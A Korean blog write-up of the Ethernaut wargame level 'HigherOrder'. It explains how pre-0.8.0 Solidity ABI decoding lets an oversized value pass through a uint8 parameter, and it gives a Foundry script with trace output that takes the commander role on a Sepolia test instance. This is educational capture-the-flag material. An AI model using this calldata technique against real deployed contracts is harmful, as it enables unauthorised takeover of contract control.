티스토리 뷰

Solidity/Hacking

[Ethernaut] 30. HigherOrder

piatoss 2024. 6. 27. 09:35

1. 문제

 

The Ethernaut

The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

ethernaut.openzeppelin.com

Imagine a world where the rules are meant to be broken, and only the cunning and the bold can rise to power. Welcome to the Higher Order, a group shrouded in mystery, where a treasure awaits and a commander rules supreme.

Your objective is to become the Commander of the Higher Order! Good luck!

Things that might help:

  • Sometimes, calldata cannot be trusted.
  • Compilers are constantly evolving into better spaceships.
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

2. 문제 해결 조건 확인

 문제 해결에 필요한 조건들은 다음과 같습니다.

  • treasury 값이 255보다 커야 합니다.

굉장히 간단합니다. 그런데 문제는 treasury 값을 설정하기 위한 함수에 있습니다. 바로 uint8 타입만을 매개변수로 받아 treasury 값을 경신한다는 것입니다.

function registerTreasury(uint8) public {
    assembly {
        sstore(treasury_slot, calldataload(4))
    }
}

 uint8 타입의 최댓값은 255, 문제에서 요구하는 조건을 만족시킬 수 없습니다. 이 문제는 어떻게 접근해야 될까요?

treasury_slot은 treasury.slot과 동일합니다. 버전이 업그레이드되면서 변경된 문법입니다.

3. 취약점

 이렇다 할 단서가 없어서 한참 헤매다가 Solidity 0.8.0 업데이트 문서에서 단서를 찾을 수 있었습니다.

ABI coder v2 is activated by default.
You can choose to use the old behavior using pragma abicoder v1;. The pragma pragma experimental ABIEncoderV2; is still valid, but it is deprecated and has no effect. If you want to be explicit, please use pragma abicoder v2; instead.
Note that ABI coder v2 supports more types than v1 and performs more sanity checks on the inputs. ABI coder v2 makes some function calls more expensive and it can also make contract calls revert that did not revert with ABI coder v1 when they contain data that does not conform to the parameter types.
'(calldata에) 매개변수 타입에 맞지 않는 데이터를 포함할 때 revert 되지 않던 컨트랙트 호출을 revert 되도록 만들었다.

 

 이는 0.8.0 버전 이전에는 매개변수 타입에 맞지 않는 데이터를 넘겨줄 수가 있었다는 것을 의미합니다.

 

 uint8 타입의 ABI 인코딩 형태는 다음과 같이 31바이트 길이의 패딩과 실제 1바이트의 값으로 구성됩니다.

0x00000000000000000000000000000000000000000000000000000000000000 + 1바이트 값

 그런데 매개변수 타입에 맞지 않는 데이터도 가능하다면, 인코딩 된 값의 패딩 부분에 임의의 데이터를 넣을 수 있게 됩니다.

0x123400.. + 1바이트 값

 그리고 마침 registerTreasury 함수에서는 어셈블리를 사용해서 calldata의 4개의 바이트를 건너뛰고(선택자 제외) 5번째 바이트부터 읽어 들여 treasury 값을 경신합니다. 이렇게 되면 선택자 4바이트 + 255보다 큰 수 32바이트를 calldata로 사용하여 HigherOrder 컨트랙트를 호출하면 되겠군요.

sstore(treasury_slot, calldataload(4))

4. 공격 시나리오

 앞에서 다룬 내용을 종합해 보면 다음과 같은 공격 시나리오를 구상할 수 있습니다.

  1. registerTreasury 함수의 선택자 4바이트 + 255 보다 큰 값 32바이트를 패킹하여 36바이트 calldata를 구성합니다.
  2. 생성한 calldata를 사용해 HigherOrder 컨트랙트를 호출합니다.
  3. treasury의 값이 255 보다 큰 값이 됩니다.
  4. claimLeadership 함수를 호출하여 commander를 탈취합니다.

 이제 공격을 감행해 보겠습니다.


5. 공격 시나리오 실행

 공격 시나리오 다음과 같이 Foundry 스크립트로 작성하였습니다. uint256 타입의 최댓값을 사용하여 treasury 값을 경신하도록 하였습니다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import {Script, console} from "forge-std/Script.sol";

contract HigherOrderScript is Script {
    function setUp() public {}

    function run() public {
        uint256 privateKey = vm.envUint("PRIVATE_KEY");

        vm.startBroadcast(privateKey);

        address target = 0x7884C5c29a58c996aC395973Ba591478FBF9B8a9;

        (bool ok,) = target.call(abi.encodeWithSignature("registerTreasury(uint8)", type(uint256).max));
        if (!ok) {
            revert("Failed to call registerTreasury");
        }

        (ok,) = target.call(abi.encodeWithSignature("claimLeadership()"));
        if (!ok) {
            revert("Failed to call treasury");
        }

        (bool ok2, bytes memory data) = target.call(abi.encodeWithSignature("commander()"));
        if (!ok2) {
            revert("Failed to call commander");
        }

        address commander = abi.decode(data, (address));

        console.log("Commander: ", commander);

        vm.stopBroadcast();
    }
}

 스크립트를 실행하면 다음과 같이 실행 과정이 출력됩니다. 시뮬레이션이 정상적으로 실행되고 나면, 트랜잭션을 브로드캐스팅하여 실행합니다.

$ forge script script/30.HigherOrder.sol --rpc-url sepolia -vvvv --broadcast
[⠒] Compiling...
[⠰] Compiling 1 files with Solc 0.8.24
[⠔] Solc 0.8.24 finished in 1.24s
Compiler run successful!
Traces:
  [56366] HigherOrderScript::run()
    ├─ [0] VM::envUint("PRIVATE_KEY") [staticcall]
    │   └─ ← [Return] <env var value>
    ├─ [0] VM::startBroadcast(<pk>)
    │   └─ ← [Return] 
    ├─ [22281] 0x7884C5c29a58c996aC395973Ba591478FBF9B8a9::registerTreasury(115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   └─ ← [Stop] 
    ├─ [22423] 0x7884C5c29a58c996aC395973Ba591478FBF9B8a9::claimLeadership()
    │   └─ ← [Stop] 
    ├─ [313] 0x7884C5c29a58c996aC395973Ba591478FBF9B8a9::commander()
    │   └─ ← [Return] 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF
    ├─ [0] console::log("Commander: ", 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::stopBroadcast()
    │   └─ ← [Return] 
    └─ ← [Stop] 


Script ran successfully.

== Logs ==
  Commander:  0x965B0E63e00E7805569ee3B428Cf96330DFc57EF

## Setting up 1 EVM.
==========================
Simulated On-chain Traces:

  [22281] 0x7884C5c29a58c996aC395973Ba591478FBF9B8a9::registerTreasury(115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    └─ ← [Stop] 

  [24423] 0x7884C5c29a58c996aC395973Ba591478FBF9B8a9::claimLeadership()
    └─ ← [Stop] 

  [2313] 0x7884C5c29a58c996aC395973Ba591478FBF9B8a9::commander()
    └─ ← [Return] 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF

 트랜잭션이 정상적으로 실행되고 나서, 인스턴스를 제출하면 성공!


정리

최신 버전 컴파일러 사용을 권장드립니다.


전체 코드

 

GitHub - piatoss3612/Ethernaut: Ethernaut 문제 풀이 모음

Ethernaut 문제 풀이 모음. Contribute to piatoss3612/Ethernaut development by creating an account on GitHub.

github.com

https://docs.soliditylang.org/en/latest/080-breaking-changes.html

 

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 32. Impersonator  (0) 2024.11.23
Ethernaut 문제 풀이 및 키워드 정리  (0) 2024.06.27
[Ethernaut] 31. Stake  (0) 2024.06.05
[Damn Vulnerable DeFi] Climber  (0) 2024.04.11
[Damn Vulnerable DeFi] Backdoor  (0) 2024.03.02
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함